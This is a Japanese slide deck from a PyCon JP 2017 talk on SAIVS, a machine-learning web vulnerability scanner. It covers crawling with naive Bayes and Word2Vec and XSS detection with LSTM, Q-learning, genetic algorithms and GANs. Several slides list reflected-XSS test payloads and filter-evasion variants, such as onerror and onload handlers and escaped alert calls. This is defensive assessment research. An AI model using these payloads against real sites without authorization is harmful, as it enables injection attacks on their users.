SlideShare ist ein Scribd-Unternehmen logo
1 von 138
Downloaden Sie, um offline zu lesen
2017.09.08
PYCON JP 2017
Presented by Isao Takaesu
Pythonと機械学習によるWebセキュリティの自動化
About the speaker
• 職業 : セキュリティエンジニア
• 所属 : 三井物産セキュアディレクション
• 趣味 : 脆弱性スキャナ作り、機械学習
• ブログ: http://www.mbsd.jp/blog/
• Black Hat Asia Arsenal, CODE BLUE / 2016
• 情報セキュリティEXPO / 2017
• 勉強会「AISECjp」を主催
高江洲 勲
Takaesu Isao
PYCON JP 2017
Twitter: @bbr_bbq
MBSD
セキュリティ技術者の圧倒的な不足
PYCON JP 2017
背景
MBSD
その数、約24万人 (IPA調べ)
人間のみでは限界では?
PYCON JP 2017
背景
MBSD
情報セキュリティの完全自動化
PYCON JP 2017
研究の目的
MBSD
先ずは、
Webアプリケーション診断
を自動化。
PYCON JP 2017
研究の目的
MBSD
Webアプリケーション診断とは…
Webアプリの脆弱性を検出
PYCON JP 2017
Webアプリケーション診断とは?
MBSD
PYCON JP 2017
Webアプリケーション診断
MBSD
診断員
Web Server
Web Apps
Fire wall
診断ベンダ 顧客
1. 疑似攻撃
SQLi?
XSS?
2. 反応の分析
1. Webアプリをクローリングしながら疑似攻撃
2. Webアプリの反応を分析して脆弱性を判定
診断員の職人技に大きく依存
それによる人手不足
PYCON JP 2017
Webアプリケーション診断の課題
MBSD
PYCON JP 2017
研究の最終目標
MBSD
人間の診断員のように、
Webアプリの脆弱性を検出するスキャナの開発
SAIVS
Spider Artificial Intelligence Vulnerability Scanner
※現在はβ版
PYCON JP 2017
SAIVSの能力
MBSD
・Webアプリのクローリング
・脆弱性の検出
http://www.mbsd.jp/insight.html
PYCON JP 2017
SAIVSの能力
MBSD
・Webアプリのクローリング
・脆弱性の検出
http://www.mbsd.jp/insight.html
クローリングの重要性
MBSD
Top Login
Register Confirm
Contact Us
My Page
Complete
Send
message
脆弱性
PYCON JP 2017
とあるWebアプリの画面遷移
クローリングの重要性
MBSD
Top Login
Register Confirm
Contact Us
My Page
Complete
正しくログインすることが必要
Send
message
PYCON JP 2017
クローリングの重要性
MBSD
Top Login
Register Confirm
Contact Us
My Page
Complete
正しく会員登録することが必要
Send
message
PYCON JP 2017
クローリングの重要性
MBSD
Top Login
Register Confirm
Contact Us
My Page
Complete
Send
message
PYCON JP 2017
網羅的に脆弱性を見つけるためには、
正しくページ遷移することが重要
クローリングの3要件
MBSD
 ページ種別の認識
ログインか?会員登録か?
 遷移成否の認識
遷移に成功したのか?失敗か?
 最適文字の入力
フィールドに何を入力するのか?
PYCON JP 2017
使用する機械学習アルゴリズム
MBSD
 ページ種別の認識
ナイーブベイズ
 遷移成否の認識
ナイーブベイズ
 最適文字の入力
Word2Vec
PYCON JP 2017
使用する機械学習アルゴリズム
MBSD
 ページ種別の認識
ナイーブベイズ
 遷移成否の認識
ナイーブベイズ
 最適文字の入力
Word2Vec
PYCON JP 2017
ナイーブベイズ?
テキスト分類に使用される機械学習アルゴリズム
カテゴリテーブルと確率理論を使用
MBSD
利用例)
 スパムメールフィルタ
 ブログ記事のカテゴリ自動分類
 WAFの攻撃検知率向上
PYCON JP 2017
MBSD
SPAM:0.672 ← こっちを選択
HAM :0.03
期間 SPAM:10%
HAM :30%
カテゴリ
限定
ココ
クリック
http://
wana.jp
SPAM:40%
HAM :10%
SPAM:30%
HAM :40%
SPAM:70%
HAM :50%
SPAM:80%
HAM :5%
メール本文からキーワードを抽出
SPAM・HAMの確率を求め、確率が高いカテゴリを選択
スパムメールフィルタへの利用例
PYCON JP 2017
ナイーブベイズによる「ページ種別認識」
MBSD
ページ種別を特徴付けるキーワードで認識
PYCON JP 2017
ナイーブベイズによる「ページ種別認識」
MBSD
<h1>Sign in</h1>
<form action="/cyclone/sessions" method="post">
<label for="email">Email</label>
<input id="email" name="email" type="text" />
<label for="password">Password</label>
<input id="password" name="password" type="password" />
</form>
ページを特徴付けるキーワードを抽出
ストップワードは除外
PYCON JP 2017
ナイーブベイズによる「ページ種別認識」
MBSD
カテゴリ キーワード
ログイン Email, User ID, Password, Sign in …
会員登録 Email, Password, Confirm, Sign up …
検索 Word, Text, String, Sort, Search …
商品購入 Credit, Account, Expire, Purchase …
パスワード変更 Password, Old Password, Change …
カテゴリ「ログイン」に抽出ワードが多く含まれる
⇒「ログイン」の確率が最も高い
PYCON JP 2017
・カテゴリテーブル
MBSD
ナイーブベイズによる「ページ種別認識」
「ログイン」と認識
PYCON JP 2017
MBSD
ナイーブベイズによる「ページ遷移成否の認識」
遷移失敗を特徴付けるキーワードで判断
PYCON JP 2017
MBSD
<h2>2 errors prohibited this user from being saved </h2>
<p>There were problems with these fields:</p>
<ul>
<li> Password doesn't match confirmation </li>
<li> Email is invalid </li>
["Password doesn't match confirmation","Email is invalid
"]
</ul>
遷移成否を特徴付けるキーワードを抽出
ストップワードは除外
ナイーブベイズによる「ページ遷移成否の認識」
PYCON JP 2017
ナイーブベイズによる「ページ遷移成否の認識」
MBSD
カテゴリ キーワード
遷移成功
good, valid, success, normal, fine, clean, nice,
can, match, confirmation, ok, finish, thank …
遷移失敗
bad, invalid, failure, error, problem, wrong,
doesn’t match, can’t, too, ng, blank …
カテゴリ「遷移失敗」に多く含まれる
⇒「遷移失敗」の確率が最も高い
PYCON JP 2017
・カテゴリテーブル
MBSD
ナイーブベイズによる「ページ遷移成否の認識」
「遷移失敗」と認識
PYCON JP 2017
クローリングの実現方法
MBSD
 ページ種別の認識
ナイーブベイズ
 遷移成否の認識
ナイーブベイズ
 最適文字の入力
Word2Vec
PYCON JP 2017
MBSD
Word2Vecによる「最適文字入力」
事前に様々な訓練用アプリに対し、総当たりで各フィールドに様々な値を入力。
遷移成功時のラベルと入力値を保存。
遷移
Isao Takaesu
isao123@mbsd.jp
mbsd1234
mbsd1234
PYCON JP 2017
PYCON JP 2017
訓練に使用したWebアプリ(一例)
MBSD
OWASP Broken Web Apps
Word2Vecによる「最適文字入力」
MBSD
ラベル 遷移成功時の入力値
ID abc, abcdef, aBc, aBcdEf, ABCDEF …
Password abc123!, 123abc!, abc!123, !#$%&a1 …
FirstName abc, abcdef, aBc, aBcdEf, ABCDEF …
LastName abc, abcdef, aBc, aBcdEf, ABCDEF …
E-mail abc@hoge.com, abc123@hoge.com …
Username abc, abcdef, aBc, aBcdEf, ABCDEF …
Signature abc, abcdef, aBc, aBcdEf, ABCDEF …
・・・ ・・・
・遷移成功時のラベルと入力値の組み合わせ
PYCON JP 2017
ラベル不一致問題をどうするか?
MBSD
訓練時 本番時
不一致!!
PYCON JP 2017
UsernameとNameなど、微妙な単語の違いを
Word2Vecで吸収(類似度を計算)。
Word2Vec?
単語同士の類似度を求める自然言語処理の手法
単語をベクトルで表現
MBSD
利用例)
 単語の類似度
Input : e-mail
 単語の加算・減算
word cos distance
email 0.956302
mail 0.927386
reply 0.920610
formula answer
Iraq - Violence Jordan
Human - Animal Ethics
Japan – Tokyo + France Paris
PYCON JP 2017
類似度計算への利用例
MBSD
注目単語周辺の単語を基に類似度を計算
学習データ)
interpretation further. However, if anyone wishes to discuss this, I‘m certainly willing
(either offline - e-mail - or Stephen In article bevans@carina.unm.edu (Mathemagician)
writes: Just what do gay people do that straight・・・
carries archives of old alt.atheism.moderated articles and assorted other files. For more
information, send mail to archive-server@mantis.co.uk saying help send atheism/index
and it will mail back a reply. mathew An・・・
send mail to archive-server@mantis.co.uk saying help send atheism/index and it will
mail back a reply. mathew An Introduction to Atheism by Mathew. This article attempts
to provide a general introduction・・・
「e-mail」「mail」「reply」の類似度は高い
PYCON JP 2017
Word2Vecの学習データ
MBSD
The 20 Newsgroups data set.
約2万のニュースグループドキュメント集
ニュースグループ例)
 コンピュータ(Graphics, MS-Windows, Hardware)
 サイエンス(Cryptography, Electronics, Space)
 趣味(Motorcycles, Baseball, Hockey)
PYCON JP 2017
SAIVSの訓練
MBSD
Windows Crypt Hardware Space
SAIVS
The 20 Newsgroups data set
類似度の学習
単語同士の類似度の習得
・・・
word2vec
PYCON JP 2017
MBSD
候補 類似度
email 0.956302
mail 0.927386
E-mail 0.900249
address 0.893337
reply 0.865438
contact 0.846801
message 0.792930
chat 0.754903
newsgroup 0.747636
候補 類似度
names 0.962508
username 0.939661
nickname 0.933694
naming 0.898254
surname 0.863966
initials 0.861093
firstname 0.849641
lastname 0.847604
title 0.782467
候補 類似度
homepage 0.794415
blog 0.752945
site 0.708534
webpage 0.701838
portal 0.701374
forum 0.692067
com 0.641086
archive 0.537914
org 0.531096
Word2Vecによる類似度計算
未知のラベルに対する上位10個の候補単語を抽出
Target :websiteTarget :nameTarget : e-mail
PYCON JP 2017
MBSD
候補 類似度
email 0.956302
mail 0.927386
E-mail 0.900249
address 0.893337
reply 0.865438
contact 0.846801
message 0.792930
chat 0.754903
newsgroup 0.747636
候補 類似度
names 0.962508
username 0.939661
nickname 0.933694
naming 0.898254
surname 0.863966
initials 0.861093
firstname 0.849641
lastname 0.847604
title 0.782467
候補 類似度
homepage 0.794415
blog 0.752945
site 0.708534
webpage 0.701838
portal 0.701374
forum 0.692067
com 0.641086
archive 0.537914
org 0.531096
Word2Vecによる類似度計算
Target :websiteTarget :nameTarget : e-mail
PYCON JP 2017
候補一覧から訓練時のラベルと一致する単語を選択
MBSD
候補 類似度
email 0.956302
mail 0.927386
E-mail 0.900249
address 0.893337
reply 0.865438
contact 0.846801
message 0.792930
chat 0.754903
newsgroup 0.747636
候補 類似度
names 0.962508
username 0.939661
nickname 0.933694
naming 0.898254
surname 0.863966
initials 0.861093
firstname 0.849641
lastname 0.847604
title 0.782467
候補 類似度
homepage 0.794415
blog 0.752945
site 0.708534
webpage 0.701838
portal 0.701374
forum 0.692067
com 0.641086
archive 0.537914
org 0.531096
Word2Vecによる類似度計算
⇒ abc@hoge.com ⇒ aBcdEf ⇒ http://hoge.com
Target :websiteTarget :nameTarget : e-mail
PYCON JP 2017
(訓練で習得した)候補単語に紐づく値を選択
クローリングのデモ
MBSD
Target:OWASP Broken Web Apps Cyclone
PYCON JP 2017
クローリングのデモ
MBSD
Top Login
Register Confirm
User Search
Complete
1.Registerでアカウント作成
2.ログイン
3.ユーザ検索
脆弱性
PYCON JP 2017
クローリングのデモ
MBSD
Top Login
Register Confirm
User Search
Complete
1.Registerでアカウント作成
2.ログイン
3.ユーザ検索
PYCON JP 2017
クローリングのデモ
MBSD
Top Login
Register Confirm
User Search
Complete
1.Registerでアカウント作成
2.ログイン
3.ユーザ検索
PYCON JP 2017
クローリングのデモ
MBSD
Top Login
Register Confirm
User Search
Complete
1.Registerでアカウント作成
2.ログイン
3.ユーザ検索
PYCON JP 2017
クローリングのデモ
MBSD
Top Login
Register Confirm
User Search
Complete
1.Registerでアカウント作成
2.ログイン
3.ユーザ検索
PYCON JP 2017
MBSD PYCON JP 2017
デモ動画
https://www.youtube.com/watch?v=aXw3vgXbl1U
クローリングの3要件
MBSD
 ページ種別の認識(✔)
 遷移成否の認識 (✔)
 最適文字の入力(✔)
PYCON JP 2017
PYCON JP 2017
SAIVSの能力
MBSD
・Webアプリのクローリング
・脆弱性の検出
http://www.mbsd.jp/insight.html
PYCON JP 2017
脆弱性の検出
MBSD
少ない手数で脆弱性を検出
PYCON JP 2017
今回対象とした脆弱性
MBSD
Reflected Cross-Site Scripting
(クロスサイトスクリプティング:XSS)
PYCON JP 2017
XSSの検査例①
MBSD
・・・
<body>
<input type="text" value="testData">
</body>
・・・
http://xxx/case1/?input=testData
1) 適当な値を入力
2) 入力値の出力箇所を観察
診断員
入力値がINPUTタグのVALUE属性値
に出力される。
「”/>」でINPUTタグを閉じた後に
スクリプトを挿入できないか?
XSSの検査例①
MBSD
・・・
<body>
<input type="text" value=""/><script>alert(0);</script>">
</body>
・・・
http://xxx/case1/?input="/><script>alert(0);</script>
1) 検査値を入力
2) 入力値の出力箇所を観察
診断員
INPUTタグを「”/>」で閉じ、
その後にスクリプトが挿入できた。
(HTMLの理解が必要)
PYCON JP 2017
PYCON JP 2017
XSSの検査例②
MBSD
・・・
<input type="button" value="click" onClick="var
user='testData'; alert('Welcome Mr. ' + user);">
・・・
http://xxx/case3/?input=testData
1) 適当な値を入力
2) 入力値の出力箇所を観察
診断員
入力値がJavaScriptの変数宣言部に
出力される。
「’;」で変数宣言を終えた後に
スクリプトを挿入できないか?
XSSの検査例②
MBSD
・・・
<input type="button" value="click" onClick="var
user='testData'; alert(0);//'; alert('Welcome Mr. ' + user);">
・・・
http://xxx/case3/?input=testData';%20alert(0);//
1) 検査値を入力
2) 入力値の出力箇所を観察
診断員
変数宣言を「’;」で終えさせ、
その後にスクリプトが挿入できた。
(JavaScriptの理解が必要)
PYCON JP 2017
XSSの検査例③
MBSD
・・・
<body>
<input type="text" value=""/> alert(0);">
</body>
・・・
http://xxx/case2/?input="/><script>alert(0);</script>
1) 検査値を入力
2) 入力値の出力箇所を観察
診断員
SCRIPTタグが削除されている。
入力値を工夫しないとスクリプトが
挿入できない。
PYCON JP 2017
XSSの検査例③
MBSD
・・・
<body>
<input type="text" value=""/> alert(0);">
</body>
・・・
http://xxx/case2/?input="/><script>alert(0);</script>
1) 検査値を入力
2) 入力値の出力箇所を観察
診断員
(過去の経験から)SCRIPTタグ
を使わない検査値を試そう。
PYCON JP 2017
XSSの検査例③
MBSD
・・・
<body>
<input type="text" value=""onmouseout=alert(0)"">
</body>
・・・
http://xxx/case2/?input =“onmouseout=alert(0)”
1) 代替の検査値を入力
2) 入力値の出力箇所を観察
診断員
イベントハンドラを使うことで、
スクリプトの挿入ができた。
(防御機構の回避)
PYCON JP 2017
XSS検出の3要件
MBSD
 HTML構文の理解
 JavaScript構文の理解
 防御機構の回避
PYCON JP 2017
使用する機械学習アルゴリズム+α
MBSD
 HTML構文の理解
LSTM
 JavaScript構文の理解
LSTM
 防御機構の回避
多層パーセプトロン、Q学習、GA
PYCON JP 2017
使用する機械学習アルゴリズム+α
MBSD
 HTML構文の理解
LSTM
 JavaScript構文の理解
LSTM
 防御機構の回避
多層パーセプトロン、Q学習、GA
PYCON JP 2017
LSTM(Long-Short Term Memory)?
時系列データの学習が可能な機械学習アルゴリズム
短期的・長期的なデータ間の依存関係を学習可能
MBSD
利用例)
 機械翻訳
 文書生成(小説、歌詞、ソースコード)
 音生成(音楽、声)
PYCON JP 2017
LSTM(Long-Short Term Memory)?
時系列データの学習が可能な機械学習アルゴリズム
短期的・長期的なデータ間の依存関係を学習可能
MBSD
利用例)
 機械翻訳
 文書生成(小説、歌詞、ソースコード)
 音生成(音楽、声)
PYCON JP 2017
文書生成への利用例
MBSD
ソースコードの生成(from Andrej Karpathy blog)
static int indicate_policy(void)
{
int error;
if (fd == MARN_EPT) {
if (ss->segment < mem_total)
unblock_set_blocked();
else
ret = 1;
goto bail;
}
segaddr = in_SB(in.addr);
selector = seg / 16;
・・・
学習データ
static void settings(struct *tty)
{
if (tty == tty)
disable_single_st_p(dev);
pci_disable_spool(port);
return 0;
}
static void command(struct seq_file *m)
{
int column = 32 << (cmd[2] & 0x80);
if (state)
・・・
LSTMの生成コード
起点(シード)を基に次々とコードを生成
PYCON JP 2017
LSTMの使用方法(1/4)
MBSD
<!doctype html><html><head><title>Reflected XSS in
textarea (textarea1)</title></head><body>
<H2>Textarea injection test</H2>
<FORM>
<textarea name="in" rows="5" cols="60">xxx</textarea>
・・・
http://xxx/textarea1?in=xxx
入力値がTEXTAREA内に出力
PYCON JP 2017
1) 値の入力
2) 入力値の出力箇所を観察
LSTMの使用方法(2/4)
MBSD
<!doctype html><html><head><title>Reflected XSS in
textarea (textarea1)</title></head><body>
<H2>Textarea injection test</H2>
<FORM>
<textarea name="in" rows="5" cols="60">
<script>alert('XSS');</script></textarea>
・・・
http://xxx/textarea1?in=<script>alert(‘XSS’);</script>
文脈を無視しているため、スクリプトは動作しない。
⇒単純なスクリプト挿入は不可
PYCON JP 2017
1) 検査値を入力
2) 入力値の出力箇所を観察
MBSD
<!doctype html><html><head><title>Reflected XSS in
textarea (textarea1)</title></head><body>
<H2>Textarea injection test</H2>
<FORM>
<textarea name="in" rows="5" cols="60">xxx</textarea>
・・・
http://xxx/textarea1?in=xxx
「TEXTAREAタグを閉じた後にスクリプト挿入?」
LSTMの使用方法(3/4)
PYCON JP 2017
1) 値の入力
2) 入力値の出力箇所を観察
MBSD
<!doctype html><html><head><title>Reflected XSS in
textarea (textarea1)</title></head><body>
<H2>Textarea injection test</H2>
<FORM>
<textarea name="in" rows="5"
cols="60"></textarea><script>alert('XSS');</script></t
extarea>
・・・
http://xxx/textarea1?in=</textarea><script>alert(‘XSS’);</script>
LSTMの使用方法(4/4)
文脈を理解してスクリプト挿入、スクリプトが動く!!
PYCON JP 2017
1) 検査値を入力
2) 入力値の出力箇所を観察
LSTMの学習データ(HTML)
MBSD
<abbr class="" data-utime="" title=""></abbr>
<abbr class='' title=''></abbr>
<abbr data-utime='' title=''></abbr>
・・・
<input name="" type="" value=""/>
<input alt="" id="" onclick="" src="" type=""/>
<input alt='' id="" src='' type=''/>
<input alt='' name='' src='' type=''/>
・・・
<video autoplay="" loop="" muted=""></video>
<video class="" height="" id="" width=""></video>
<video src='' tabindex=''></video>
<video src=''></video>
2万ページ分のHTML構文 (約12,000種類)
PYCON JP 2017
MBSD
_satellite.pageBottom();']
(function(window) {
var _gaq = _gaq || [];
var methods = ['log', 'dir', 'trace'];
if (typeof window.console === 'undefined') {
window.console = {};
}
for (var i in methods) {
if (!(methods[i] in window.console)) {
window.console[methods[i]] = function() {};
}
}
}(window));
LSTMの学習データ(JavaScript)
1万ページ分のJavaScript構文
PYCON JP 2017
(学習済み)LSTMが生成した構文例
MBSD
シード 生成構文
<textarea cols="60">xxx </textarea>
<!– mbsdtest xxx -->
<input type="" value=“xxx ">
var hoge = ['log', ‘xxx red’];¥r¥n
/* mbsdtest xxx */
function(){ xxx }¥r¥n
シードに対応した構文を生成。
文脈に沿ってスクリプト挿入が可能。
PYCON JP 2017
XSS検出の3要件
MBSD
 HTML構文の理解
LSTM
 JavaScript構文の理解
LSTM
 防御機構の回避
多層パーセプトロン、Q学習、GA
PYCON JP 2017
多層パーセプトロン(MLP)?
画像認識などに使用される機械学習アルゴリズム
生物の神経回路構造と機能を模したモデル
MBSD
利用例)
 画像認識
 手書き数字認識
PYCON JP 2017
・
・
・
・
・
・
・
・
・
Data Label
0
1
2
学習データ
手書き数字認識への利用例
MBSD
・
・
・
・
・
・
・
・
・
X₁
X₂
X784
X0
Y₁
Y₂
Y300
Y0
Z₁
Z₂
Z10
MLP
学習
入力データに応じた”答え”を出力することが可能
PYCON JP 2017
学習済みMLP
014679 425970401967
手書き数字認識への利用例
MBSD PYCON JP 2017
Q学習?
エージェントの最良行動を学習する機械学習アルゴリズム
行動の良し悪しをQ値で評価
MBSD
利用例)
 ロボットの歩行動作習得
 ビデオゲームのプレイ
 経路探索
PYCON JP 2017
ロボット歩行動作習得への利用例
MBSD
エージェント
環境
a1 前進
a2 左折
a3 右折
a4 後退
行動
状態 s
・・・
次の状態 s’
方策 ( a | s ) 遷移確率 ( s’ | s, a )
目の前に穴が…
報酬 r = R( s, a, s’ )
タスク:障害物を避けてゴールすること
報酬の合計が最大となる方策を学習
Q( s, a )値の更新
PYCON JP 2017
MBSD
・
・
・
・
・
・
属性値
JS内
・・・
出力箇所
タグの外
“sCriPt”
他のタグ
URL
encode
検査値
Event
handler
・
・
・
Q-learning
状態観測
防御機構回避を実現するモデル
・
・
・
評価
重み更新
“ ⇒ &quot;
< ⇒ &lt;
・・・
防御機構
> ⇒ &gt;
Deep Q-Networkを参考にしたモデル
Multilayer Perceptron
PYCON JP 2017
出力箇所のパターン
MBSD
出力箇所 例
属性値 : 「”」 <~value="xxx">
属性値 : 「'」 <~value='xxx'>
属性値 : noquote <~value=xxx>
JavaScript 内 <script>xxx</script>
HTML タグの外側 <~>xxx</~>
PYCON JP 2017
防御機構のパターン
MBSD
防御機構 例
「“」の実体参照への変換・排除 「”」⇒「&quot;」
「‘」の実体参照への変換・排除 「’」⇒「&apos;」
「<」の実体参照への変換・排除 「<」⇒「&lt;」
「>」の実体参照への変換・排除 「>」⇒「&gt;」
「alert();」の排除 「alert();」⇒「」
PYCON JP 2017
MBSD
・
・
・
・
・
・
属性値
JS内
・・・
出力箇所
タグの外
“sCriPt”
他のタグ
URL
encode
検査値
Event
handler
・
・
・
Q-learning
状態観測
防御機構回避を実現するモデル
・
・
・
評価
重み更新
“ ⇒ &quot;
< ⇒ &lt;
・・・
防御機構
> ⇒ &gt;
Multilayer Perceptron
PYCON JP 2017
出力箇所/防御機構のパターンをMLPに入力
MBSD
・
・
・
・
・
・
属性値
JS内
・・・
出力箇所
タグの外
“sCriPt”
他のタグ
URL
encode
検査値
Event
handler
・
・
・
Q-learning
状態観測
防御機構回避を実現するモデル
・
・
・
評価
重み更新
“ ⇒ &quot;
< ⇒ &lt;
・・・
防御機構
> ⇒ &gt;
Multilayer Perceptron
PYCON JP 2017
(入力に対する)何れかの検査値を選択
MBSD
・
・
・
・
・
・
属性値
JS内
・・・
出力箇所
タグの外
“sCriPt”
他のタグ
URL
encode
検査値
Event
handler
・
・
・
Q-learning
状態観測
防御機構回避を実現するモデル
・
・
・
評価
重み更新
“ ⇒ &quot;
< ⇒ &lt;
・・・
防御機構
> ⇒ &gt;
Multilayer Perceptron
PYCON JP 2017
MLPが選択した検査値で検査を試行
MBSD
・
・
・
・
・
・
属性値
JS内
・・・
出力箇所
タグの外
“sCriPt”
他のタグ
URL
encode
検査値
Event
handler
・
・
・
Q-learning
状態観測
防御機構回避を実現するモデル
・
・
・
評価
重み更新
“ ⇒ &quot;
< ⇒ &lt;
・・・
防御機構
> ⇒ &gt;
Multilayer Perceptron
PYCON JP 2017
検査結果を観測
MBSD
・
・
・
・
・
・
属性値
JS内
・・・
出力箇所
タグの外
“sCriPt”
他のタグ
URL
encode
検査値
Event
handler
・
・
・
Q-learning
状態観測
防御機構回避を実現するモデル
・
・
・
評価
重み更新
“ ⇒ &quot;
< ⇒ &lt;
・・・
防御機構
> ⇒ &gt;
Multilayer Perceptron
PYCON JP 2017
検査結果に応じた報酬の付与
MBSD
・
・
・
・
・
・
属性値
JS内
・・・
出力箇所
タグの外
“sCriPt”
他のタグ
URL
encode
検査値
Event
handler
・
・
・
Q-learning
状態観測
防御機構回避を実現するモデル
・
・
・
評価
重み更新
“ ⇒ &quot;
< ⇒ &lt;
・・・
防御機構
> ⇒ &gt;
Multilayer Perceptron
PYCON JP 2017
MLPの重みを更新
MBSD
・
・
・
・
・
・
属性値
JS内
・・・
出力箇所
タグの外
“sCriPt”
他のタグ
URL
encode
検査値
Event
handler
・
・
・
Q-learning
状態観測
防御機構回避を実現するモデル
・
・
・
評価
重み更新
“ ⇒ &quot;
< ⇒ &lt;
・・・
防御機構
> ⇒ &gt;
検査試行を繰り返しながら防御機構の回避パターンを学習
Multilayer Perceptron
PYCON JP 2017
MBSD
・
・
・
・
・
・
属性値
JS内
・・・
出力箇所
タグの外
“sCriPt”
他のタグ
URL
encode
検査値
Event
handler
・
・
・
Q-learning
状態観測
防御機構回避を実現するモデル
・
・
・
評価
重み更新
“ ⇒ &quot;
< ⇒ &lt;
・・・
防御機構
> ⇒ &gt;
検査試行を繰り返しながら防御機構の回避パターンを学習
Multilayer Perceptron
PYCON JP 2017
検査値の一例
<script>alert();</script>
<img[Sp]src=x[Sp]onerror=alert();>
</textarea><script>alert();</script>
"><script>alert();</script>
'--><script>prompt();</script>
"><frame[Sp]src="javascript:prompt()">
';[Sp]alert();//
'[CrLf][Sp]MsgBox[Sp]'3122
[CrLf][Sp]MsgBox[Sp]Document.Domain
javascript:alert``;
"[Sp]&[Sp]msgbox("exploit")[Sp]&[Sp]"aa
*/[CrLf]alert``;//
・・・
様々なパターンがあり、作成にはノウハウが必要。
MBSD PYCON JP 2017
PYCON JP 2017MBSD
検査値はどうやって集めるのか?
PYCON JP 2017MBSD
集めるのではなく、
自動生成する。
PYCON JP 2017
検査値の自動生成方法
MBSD
・遺伝的アルゴリズム (Genetic Algorithm:GA)
・Generative Adversarial Networks (GAN)
PYCON JP 2017
生成手順
MBSD
1.GAで検査値を幾つか生成(5~6パターンくらい)
2.GANで(1の検査値を基に)大量の検査値を生成
PYCON JP 2017
生成手順
MBSD
1.GAで検査値を幾つか生成(5~6パターンくらい)
2.GANで(1の検査値を基に)大量の検査値を生成
PYCON JP 2017
遺伝的アルゴリズム(Genetic Algorithm:GA)
MBSD
進化計算を繰り返し、最適な遺伝子の組み合わせの個体を探索。
Initialization Fitness/Evaluation
CrossoverMutation
Individual
● ▲ ■ × ★Gene
Selection
Generation
alternation
PYCON JP 2017
GAによる検査値の生成方法
MBSD
・XSSの検査値の一例
“><script>alert();</script>
<object data=xss.html>
<svg/onload=al¥u0065rt();>
<video><source onerror=confirm(1);>
<iframe onload=alert();>
・・・
検査値はHTMLやJavaScriptの要素の組み合わせで構成。
PYCON JP 2017
GAによる検査値の生成方法
MBSD
・XSSの検査値の一例
[“], [>], [<script>], [alert();], [</script>]
[<object], [data=], [xss.html], [>]
[<svg], [/], [onload=], [al¥u0065rt();], [>]
[<video>], [<source], [onerror=], [confirm(1);], [>]
[<iframe], [onload=], [alert();], [>]
・・・
各検査値の最小要素を遺伝子として定義。
PYCON JP 2017
GAによる検査値の生成方法
MBSD
MDN docs等から要素を収集し、約220種類の遺伝子を定義。
・遺伝子リスト
PYCON JP 2017
GAによる検査値の生成方法
MBSD
・生成手順の詳細
https://www.mbsd.jp/blog/20170821.html
PYCON JP 2017
GAによる検査値の生成方法
MBSD
進化計算を繰り返すことで、約6種類の検査値を生成。
※計算時間は各5時間程度
No 検査値
1 <script>al¥u0065rt``;</script>
2 <iframe/onload=alert();><select/cols=
3 <svg/onload=alert();></iframe><q
4 <video><source onerror=confirm(1);>
5 <body onload=alert();><form </thead>
6 <video><source onerror=alert();src=x <video>
・GAで生成した検査値例
PYCON JP 2017
GAによる検査値の生成方法
MBSD
進化計算を繰り返すことで、約6種類の検査値を生成。
※計算時間は各5時間程度 ⇒ あまり効率的ではない・・・
No 検査値
1 <script>al¥u0065rt``;</script>
2 <iframe/onload=alert();><select/cols=
3 <svg/onload=alert();></iframe><q
4 <video><source onerror=confirm(1);>
5 <body onload=alert();><form </thead>
6 <video><source onerror=alert();src=x <video>
・GAで生成した検査値例
PYCON JP 2017
生成手順
MBSD
1.GAで検査値を幾つか(5~6パターンくらい)生成
2.GANで(1の検査値を基に)大量の検査値を生成
PYCON JP 2017
Generative Adversarial Networks:GAN
MBSD
訓練データを模倣したfakeデータを大量に生成。
・
・
・
Noise (Z)
Generator (G)
・
・
・
Generative
Data : G(z)
・
・
・
・
・
・
Train Data
Train Data
・・・
Discriminator (D)
Probability
True?
X
PYCON JP 2017
GANの利用例
MBSD
学習を重ねることで、徐々に訓練データに近似したデータを生成。
・訓練データ
・GANで生成したデータ
PYCON JP 2017
GANによる検査値の生成方法
MBSD
・
・
・
Noise (Z)
Generator (G)
・
・
・
Generative
Data : G(z)
・
・
・
・
・
・
Train Data
Train Data
・・・
Discriminator (D)
Genetic Algorithm
Probability
True?
GAN
”GAの検査値“を訓練データにし、様々な検査値を生成。
PYCON JP 2017
GANで生成した検査値
MBSD
1つの訓練データから、複数種類の検査値が生成される。
※処理時間は30分程度。
検査値
訓練データ:<script>alert();</script></table><hr/
---------------------------------------------------
生成データ:
<script>alert``;</script><table/</td>
<script>al¥u0065rt();</script></tr><th/
<script>prompt(1);</script><th/<col/
<script>confirm(1);</script><thead <table/
・・・
・GANの学習過程で生成された検査値
PYCON JP 2017
GANで生成した検査値
MBSD
1つの訓練データから、複数種類の検査値が生成される。
※処理時間は30分程度。
検査値
訓練データ:<iframe/onload=alert();><select/
---------------------------------------------------
生成データ:
colspan=<iframe <a onload=al¥u0065rt();>
<object/onload="onfocus=alert();"<script type="text/javascript">
<iframe onload=alert``; /><select
icon=<iframe/<img onload=al¥u0065rt();>
・・・
・GANの学習過程で生成された検査値
PYCON JP 2017
GANで生成した検査値
MBSD
1つの訓練データから、複数種類の検査値が生成される。
※処理時間は30分程度。
検査値
訓練データ:<svg/<canvas/<select/onload=confirm(1);>
---------------------------------------------------
生成データ:
<svg/onload="¥u0061lert();"></output>
<object/src=x onload=alert();¥n<script type="text/javascript">
<script/src="data:text/html,alert();"<script></script>
<svg/onload=confirm(1);>
・・・
・GANの学習過程で生成された検査値
PYCON JP 2017
GANで生成した検査値
MBSD
1つの訓練データから、複数種類の検査値が生成される。
※処理時間は30分程度。
検査値
訓練データ:<video><source onerror=confirm(1);>
---------------------------------------------------
生成データ:
<video><source onerror="¥u0061lert``;">
<video><source onerror="al¥u0065rt``;">
<video><source/onerror=alert();>
<video><source onerror=prompt(1);>
・・・
・GANの学習過程で生成された検査値
PYCON JP 2017
GANで生成した検査値
MBSD
1つの訓練データから、複数種類の検査値が生成される。
※処理時間は30分程度。
検査値
訓練データ:icon=<iframe/<body onload=¥u0061lert();>
---------------------------------------------------
生成データ:
headers=<body/<body onload=alert();>
icon=<body <input/onload=confirm(1);>
kind=<body <img onload=alert``;>
<img src=x <keygen onerror=¥u0061lert``;>
・・・
・GANの学習過程で生成された検査値
PYCON JP 2017
GANで生成した検査値
MBSD
1つの訓練データから、複数種類の検査値が生成される。
※処理時間は30分程度。
検査値
訓練データ:
<embed onload=alert();<script type="text/javascript">
---------------------------------------------------
生成データ:
<embed/onload=al¥u0065rt();¥n<script type="text/javascript">
<embed onload=alert``;¥n<script type="text/javascript">
<embed/onload=prompt(1);¥n<script type="text/javascript">
<embed/src=x onload=confirm(1);¥n<script type="text/javascript">
・・・
・GANの学習過程で生成された検査値
PYCON JP 2017MBSD
